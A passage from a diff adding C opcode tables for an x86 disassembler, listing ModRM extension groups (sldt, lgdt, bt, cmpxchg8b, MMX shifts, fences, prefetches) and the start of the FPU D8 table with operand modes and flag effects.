+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { AMODE_E | OPTYPE_v | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_6[8] = // 0F 00
+{
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "sldt", { AMODE_E | OPTYPE_mw | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "str", { AMODE_E | OPTYPE_mw | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "lldt", { AMODE_E | OPTYPE_w | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "ltr", { AMODE_E | OPTYPE_w | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "verr", { AMODE_E | OPTYPE_w | OP_SRC, 0, 0 }, NOCOND, FLAG_ZF_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "verw", { AMODE_E | OPTYPE_w | OP_SRC, 0, 0 }, NOCOND, FLAG_ZF_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_IA64, ITYPE_BRANCH, "jmpe", { AMODE_E | OPTYPE_v | OP_SRC | OP_EXEC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOINSTR } /* 0x07 */
+};
+
+X86_OPCODE X86_Group_7[8] = // 0F 01
+{
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "sgdt", { AMODE_M | OPTYPE_dt | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "sidt", { AMODE_M | OPTYPE_dt | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "lgdt", { AMODE_M | OPTYPE_dt | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "lidt", { AMODE_M | OPTYPE_dt | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "smsw", { AMODE_E | OPTYPE_mw | OP_DST, OPTYPE_CR0 | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_SYSTEM, "lmsw", { OPTYPE_CR0 | OP_DST, AMODE_E | OPTYPE_w | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I486, ITYPE_SYSTEM, "invlpg", { AMODE_M | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_8[8] = // 0F BA
+{
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOINSTR }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_BITTEST, "bt", { AMODE_E | OPTYPE_v | OP_SRC | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_BITTEST, "bts", { AMODE_E | OPTYPE_v | OP_SRC | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_BITTEST, "btr", { AMODE_E | OPTYPE_v | OP_SRC | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_BITTEST, "btc", { AMODE_E | OPTYPE_v | OP_SRC | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_9[8] = // 0F C7
+{
+ { NOINSTR }, /* 0x00 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_XCHGCC, "cmpxchg8b", { AMODE_M | OPTYPE_q | OP_SRC | OP_COND_DST, OPTYPE_xDX_HI_xAX_LO | OP_SRC | OP_COND_DST, OPTYPE_xCX_HI_xBX_LO | OP_COND_SRC }, COND_OP1_EQ_OP2, FLAG_ZF_MOD, OP1_DST | OP3_SRC, OP2_DST | OP1_SRC }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_10[8] = // 8F (NOTE: AMD64 labels this Group 1A)
+{
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { AMODE_E | OPTYPE_v | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOINSTR }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_11[8] = // 0F B9 (NOTE: AMD64 labels this Group 10)
+{
+ { NOGROUP, CPU_I386, ITYPE_INVALID, "undef", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_INVALID, "undef", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_INVALID, "undef", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_INVALID, "undef", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_INVALID, "undef", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_INVALID, "undef", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_INVALID, "undef", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_INVALID, "undef", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED } /* 0x07 */
+};
+
+X86_OPCODE X86_Group_12_C6[8] = // C6 (NOTE: AMD64 labels this Group 11)
+{
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0xC6 */
+ { NOINSTR }, /* 0x01 */
+ { NOINSTR }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_12_C7[8] = // C7 (NOTE: AMD64 labels this Group 11)
+{
+ { NOGROUP, CPU_I386, ITYPE_MOV, "mov", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOINSTR }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+// NOTE: the X86_SSE2_* is only followed if it is a 3-byte opcode (e.g., prefix is 66, F2, or F3)
+X86_OPCODE X86_Group_13[8] = // 0F 71 (NOTE: AMD64 labels this Group 12)
+{
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psrlw", { AMODE_PR | OPTYPE_q | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psraw", { AMODE_PR | OPTYPE_q | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psllw", { AMODE_PR | OPTYPE_q | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_14[8] = // 0F 72 (NOTE: AMD64 labels this Group 13)
+{
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psrld", { AMODE_PR | OPTYPE_q | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psrad", { AMODE_PR | OPTYPE_q | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "pslld", { AMODE_PR | OPTYPE_q | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_15[8] = // 0F 73 (NOTE: AMD64 labels this Group 14)
+{
+ { NOINSTR }, /* 0x00 */
+ { NOINSTR }, /* 0x01 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psrlq", { AMODE_PR | OPTYPE_q | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psrldq", { AMODE_PR | OPTYPE_q | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "psllq", { AMODE_PR | OPTYPE_q | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_MMX, "pslldq", { AMODE_PR | OPTYPE_q | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED } /* 0x07 */
+};
+
+X86_OPCODE X86_Group_16[8] = // 0F AE (NOTE: AMD64 labels this Group 15)
+{
+ { NOGROUP, CPU_PENTIUM2, ITYPE_FPU, "fxsave", { AMODE_M | OPTYPE_fst2 | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_FPU, "fxrstor", { AMODE_M | OPTYPE_fst2 | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "ldmxcsr", { AMODE_M | OPTYPE_d | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "stmxcsr", { AMODE_M | OPTYPE_d | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "lfence", NOARGS, NOCOND, NOCHANGE, SERIALIZE_READ, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "mfence", NOARGS, NOCOND, NOCHANGE, SERIALIZE_ALL, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "sfence", NOARGS, NOCOND, NOCHANGE, SERIALIZE_WRITE, IGNORED } /* 0x07 */
+};
+
+X86_OPCODE X86_Group_17[8] = // 0F 18 (NOTE: AMD64 labels this Group 16)
+{
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "prefetchnta", { AMODE_E | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "prefetcht0", { AMODE_E | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "prefetcht1", { AMODE_E | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "prefetcht2", { AMODE_E | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "hintnop", { AMODE_E | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "hintnop", { AMODE_E | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "hintnop", { AMODE_E | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_PENTIUM2, ITYPE_SYSTEM, "hintnop", { AMODE_E | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_P[8] = // 0F 0D
+{
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "prefetch", { AMODE_E | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_AMD_K6_2, ITYPE_3DNOW, "prefetchw", { AMODE_E | OPTYPE_b | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR }, /* 0x07 */
+};
+
+
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// FPU (ESC) opcodes
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+
+X86_OPCODE X86_ESC_0[0x48] = // D8
+{
+ //
+ // ModRM < C0
+ // Index 0x00-0x07 = opcode extension
+ //
+
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_ss | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x00
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_ss | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x01
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcom", { AMODE_M | OPTYPE_ss | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // 0x02
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcomp", { AMODE_M | OPTYPE_ss | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // 0x03
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_ss | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x04
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_ss | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x05
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdiv", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_ss | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x06
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivr", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_ss | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x07
+
+ //
+ // ModRM >= C0: ST(0) <- ST(0) + ST(i)
+ // Index 0x08-0x47 = ModRM 0xC0-0xFF
+ //
+
+ // C0-C7
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fadd", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x7
+ // C8-CF
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmul", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+ // D0-D7
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, NOACTION, IGNORED }, // x7
+ // D8-DF
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD | FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xF
+ // E0-E7
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsub", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x7
+ // E8-EF
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubr", { OPTYPE_ST0 | OP_SRC | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // xA
